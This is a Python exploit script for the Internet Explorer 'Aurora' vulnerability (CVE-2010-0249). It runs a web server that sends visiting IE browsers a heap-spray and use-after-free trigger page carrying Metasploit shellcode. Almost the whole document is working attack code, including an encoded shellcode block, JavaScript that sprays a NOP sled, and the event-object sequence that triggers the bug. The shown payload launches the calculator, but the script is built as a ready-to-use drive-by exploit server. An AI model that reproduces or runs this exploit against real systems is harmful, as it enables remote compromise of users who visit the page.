Internet Explorer Aurora Exploit
#
# Author : Ahmed Obied (ahmed.obied@gmail.com)
#
# This program acts as a web server that generates an exploit to
# target a vulnerability (CVE-2010-0249) in Internet Explorer.
# The exploit was tested using Internet Explorer 6 on Windows XP SP2.
# The exploit’s payload spawns the calculator.
#
# Usage : python ie_aurora.py [port number]
#
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 | import sys import socket from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler class RequestHandler(BaseHTTPRequestHandler): def convert_to_utf16(self, payload): enc_payload = '' for i in range(0, len(payload), 2): num = 0 for j in range(0, 2): num += (ord(payload[i + j]) & 0xff) << (j * 8) enc_payload += '%%u%04x' % num return enc_payload def get_payload(self): # win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub # http://metasploit.com payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73' payload += '\x13\x6f\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e' payload += '\x6f\x02\x3a\x4b\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a' payload += '\x3a\x51\x4f\x03\x5a\x47\xe4\x36\x3a\x0f\x81\x33\x71\x97' payload += '\xc3\x86\x71\x7a\x68\xc3\x7b\x03\x6e\xc0\x5a\xfa\x54\x56' payload += '\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68\xe4\x0e\xfa\x85' payload += '\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a\x6b\xc1' payload += '\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85' payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02' payload += '\x3a\x66\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e' payload += '\x07\x7c\x69\xec\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61' payload += '\xd0\x62\x0c\x2c\xd4\x76\x0a\x02\xb1\x0e' return self.convert_to_utf16(payload) def get_exploit(self): exploit = ''' <html> <head> <script> var obj, event_obj; function spray_heap() { var chunk_size, payload, nopsled; chunk_size = 0x80000; payload = unescape("<PAYLOAD>"); nopsled = unescape("<NOP>"); while (nopsled.length < chunk_size) nopsled += nopsled; nopsled_len = chunk_size - (payload.length + 20); nopsled = nopsled.substring(0, nopsled_len); heap_chunks = new Array(); for (var i = 0 ; i < 200 ; i++) heap_chunks[i] = nopsled + payload; } function initialize() { obj = new Array(); event_obj = null; for (var i = 0; i < 200 ; i++ ) obj[i] = document.createElement("COMMENT"); } function ev1(evt) { event_obj = document.createEventObject(evt); document.getElementById("sp1").innerHTML = ""; window.setInterval(ev2, 1); } function ev2() { var data, tmp; data = ""; tmp = unescape("%u0a0a%u0a0a"); for (var i = 0 ; i < 4 ; i++) data += tmp; for (i = 0 ; i < obj.length ; i++ ) { obj[i].data = data; } event_obj.srcElement; } function check() { if (navigator.userAgent.indexOf("MSIE") == -1) return false; return true; } if (check()) { initialize(); spray_heap(); } else window.location = 'about:blank' </script> </head> <body> <span id="sp1"> <img src="aurora.gif" onload="ev1(event)"> </span> </body> </html> ''' exploit = exploit.replace('<PAYLOAD>', self.get_payload()) exploit = exploit.replace('<NOP>', '%u0a0a%u0a0a') return exploit def get_image(self): content = '\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff' content += '\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44' content += '\x01\x00\x3b' return content def log_request(self, *args, **kwargs): pass def do_GET(self): try: if self.path == '/': print print '[-] Incoming connection from %s' % self.client_address[0] self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() print '[-] Sending exploit to %s ...' % self.client_address[0] self.wfile.write(self.get_exploit()) print '[-] Exploit sent to %s' % self.client_address[0] elif self.path == '/aurora.gif': self.send_response(200) self.send_header('Content-Type', 'image/gif') self.end_headers() self.wfile.write(self.get_image()) except: print '[*] Error : an error has occured while serving the HTTP request' print '[-] Exiting ...' sys.exit(-1) def main(): if len(sys.argv) != 2: print 'Usage: %s [port number (between 1024 and 65535)]' % sys.argv[0] sys.exit(0) try: port = int(sys.argv[1]) if port < 1024 or port > 65535: raise ValueError try: serv = HTTPServer(('', port), RequestHandler) ip = socket.gethostbyname(socket.gethostname()) print '[-] Web server is running at http://%s:%d/' % (ip, port) try: serv.serve_forever() except: print '[-] Exiting ...' except socket.error: print '[*] Error : a socket error has occurred' sys.exit(-1) except ValueError: print '[*] Error : an invalid port number was given' sys.exit(-1) if __name__ == '__main__': main() |